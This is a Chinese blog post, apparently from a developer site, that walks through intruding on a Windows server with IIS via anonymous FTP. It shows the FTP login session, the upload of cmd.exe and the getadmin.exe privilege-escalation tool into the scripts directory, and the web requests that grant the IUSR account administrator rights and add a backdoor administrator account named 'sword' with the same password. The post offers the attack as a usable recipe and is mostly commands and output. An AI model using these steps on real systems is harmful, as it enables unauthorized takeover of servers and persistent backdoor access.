FTP匿名入侵

问我怎么进行FTP匿名入侵
我才想起还有这种方式
复习简洁一番,总结了我的FTP匿名入侵经历,和大家分享:
假设一台电脑ip 192.188.0.183(这里用我自己的电脑实验)开放FTP服务
在”运行“里输入”CMD“
输入 ftp 192.188.0.183回车:

Connected to 192.188.0.183.
220 phoenix-r Microsoft FTP Service (Version 5.0).
User (192.188.0.183none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
password输入任何字符+@,是不显示的)
230-你好
230-欢迎来到lzbiz的FTP站点
230 User anonymous logged in.
FTP>
进入了
输入cd /script如果改变目录成功的话就有很大的胜算了
然后将自己的cmd.exe和getadmin.exe(一个提升权限的工具)复制到对方的scripts目录
用命令put就可以了
接着输入:
FTP>bye
221 拜拜,欢迎下次再来
退出了,呵呵,还欢迎我下次再来入侵
不知道大家看到没有,上面的一大段中出现了计算机名的----phoenix-r ,所以匿名用户的名称便是IUSR——phoenix-r (这是个常识)
然后在浏览器中输入
http://192.188.0.183/scripts/getadmin.exe?iusr_phoenix-r
如果返回CGI Error
就已经成功地将IUSR——phoenix-r 提升为了管理员
然后添加用户:
http://192.188.0.183/scripts/cmd.exe?/c%20c://winnt//system32//net.exe%20sword%20sword%20/add
http://192.188.0.183/scripts/getadmin.exe?sword
这样我就添加了一个叫sword的密码也为sword用户
并提升权限为了管理员
这样就成功地入侵了
以上的前提是一些粗心的管理员没有禁止guest用户,而且匿名权限为”写入“
这样我才可以成功入侵,还有就是匿名帐号是anonymous 
 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值